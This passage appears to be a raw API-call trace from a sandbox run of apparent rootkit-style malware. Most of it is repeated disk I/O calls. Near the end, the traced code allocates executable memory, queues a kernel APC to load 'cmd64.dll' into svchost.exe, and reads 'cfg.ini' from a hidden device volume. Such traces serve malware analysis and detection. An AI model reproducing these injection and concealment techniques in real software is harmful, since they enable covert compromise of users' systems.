KeWaitForMutexObject () returned 0x0 [0080.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.721] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.721] IdePortDispatch () returned 0x103 [0080.721] KeWaitForMutexObject () returned 0x0 [0080.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.722] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.722] IdePortDispatch () returned 0x103 [0080.722] KeWaitForMutexObject () returned 0x0 [0080.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.722] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.722] IdePortDispatch () returned 0x103 [0080.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.722] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.722] IdePortDispatch () returned 0x103 [0080.722] KeWaitForMutexObject () returned 0x0 [0080.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.722] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.722] IdePortDispatch () returned 0x103 [0080.723] KeWaitForMutexObject () returned 0x0 [0080.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.723] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.723] IdePortDispatch () returned 0x103 [0080.723] KeWaitForMutexObject () returned 0x0 [0080.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.723] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.723] IdePortDispatch () returned 0x103 [0080.723] KeWaitForMutexObject () returned 0x0 [0080.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.723] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.723] IdePortDispatch () returned 0x103 [0080.723] KeWaitForMutexObject () returned 0x0 [0080.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.724] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.724] IdePortDispatch () returned 0x103 [0080.724] KeWaitForMutexObject () returned 0x0 [0080.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.724] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.724] IdePortDispatch () returned 0x103 [0080.724] KeWaitForMutexObject () returned 0x0 [0080.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.724] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.724] IdePortDispatch () returned 0x103 [0080.724] KeWaitForMutexObject () returned 0x0 [0080.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.724] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.725] IdePortDispatch () returned 0x103 [0080.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.725] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.725] IdePortDispatch () returned 0x103 [0080.725] KeWaitForMutexObject () returned 0x0 [0080.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.725] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.725] IdePortDispatch () returned 0x103 [0080.725] KeWaitForMutexObject () returned 0x0 [0080.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.725] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.725] IdePortDispatch () returned 0x103 [0080.726] KeWaitForMutexObject () returned 0x0 [0080.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.726] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.726] IdePortDispatch () returned 0x103 [0080.726] KeWaitForMutexObject () returned 0x0 [0080.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.726] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.726] IdePortDispatch () returned 0x103 [0080.726] KeWaitForMutexObject () returned 0x0 [0080.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.726] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.726] IdePortDispatch () returned 0x103 [0080.727] KeWaitForMutexObject () returned 0x0 [0080.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.727] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.727] IdePortDispatch () returned 0x103 [0080.727] KeWaitForMutexObject () returned 0x0 [0080.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.727] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.727] IdePortDispatch () returned 0x103 [0080.727] KeWaitForMutexObject () returned 0x0 [0080.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.727] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.727] IdePortDispatch () returned 0x103 [0080.727] KeWaitForMutexObject () returned 0x0 [0080.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.727] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.728] IdePortDispatch () returned 0x103 [0080.728] KeWaitForMutexObject () returned 0x0 [0080.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.728] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.728] IdePortDispatch () returned 0x103 [0080.728] KeWaitForMutexObject () returned 0x0 [0080.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.728] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.728] IdePortDispatch () returned 0x103 [0080.728] KeWaitForMutexObject () returned 0x0 [0080.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.729] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.729] IdePortDispatch () returned 0x103 [0080.729] KeWaitForMutexObject () returned 0x0 [0080.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.729] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.729] IdePortDispatch () returned 0x103 [0080.729] KeWaitForMutexObject () returned 0x0 [0080.729] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.729] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.729] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.729] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.729] IdePortDispatch () returned 0x103 [0080.729] KeWaitForMutexObject () returned 0x0 [0080.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.730] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.730] IdePortDispatch () returned 0x103 [0080.730] KeWaitForMutexObject () returned 0x0 [0080.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.730] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.730] IdePortDispatch () returned 0x103 [0080.730] KeWaitForMutexObject () returned 0x0 [0080.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.730] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.730] IdePortDispatch () returned 0x103 [0080.731] KeWaitForMutexObject () returned 0x0 [0080.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.732] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.732] IdePortDispatch () returned 0x103 [0080.732] KeWaitForMutexObject () returned 0x0 [0080.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.732] KeInitializeEvent (in: Event=0xfffff88002f9d1f0, Type=0x0, State=0 | out: Event=0xfffff88002f9d1f0) [0080.732] IdePortDispatch () returned 0x103 [0080.732] KeWaitForMutexObject () returned 0x0 [0080.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.732] KeLeaveCriticalRegion () [0080.733] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.733] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800003f0, BaseAddress=0xfffff88002f9dae0, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0080.733] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0080.733] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0080.733] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800003f0, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0080.733] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0080.733] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800368e2e0 [0080.733] KeInitializeApc (Apc=0xfffffa800368e2e0, Thread=0xfffffa800365f710, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0080.733] KeInsertQueueApc (Apc=0xfffffa800368e2e0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0080.733] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0080.733] ZwClose (Handle=0x14) returned 0x0 [0080.733] ZwClose (Handle=0xffffffff800003f4) returned 0x0 [0080.733] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0080.733] KeEnterCriticalRegion () [0080.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.734] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80018ab040 [0080.734] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa800cbf0830, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0080.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.734] KeLeaveCriticalRegion () [0080.734] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.734] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0080.734] PsGetProcessImageFileName () returned 0xfffffa800368dcc0 [0080.734] _snprintf (in: _Dest=0xfffffa800cbf0ee8, _Count=0x103, _Format="%s (x64)" | out: _Dest="svchost.exe (x64)") returned 17 [0080.734] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0080.734] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800003f4, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0080.734] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0080.734] KeEnterCriticalRegion () [0080.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0080.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003670280 [0080.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003670280, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003670280) [0080.734] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0080.734] IdePortDispatch () returned 0x103 [0080.734] KeWaitForMutexObject () returned 0x0 [0080.734] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0080.734] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0080.734] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0080.734] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0080.734] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80034ea110 [0080.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0080.734] KeLeaveCriticalRegion () [0080.734] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0080.734] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0080.734] NtLockFile (in: FileHandle=0xffffffff800003f4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, 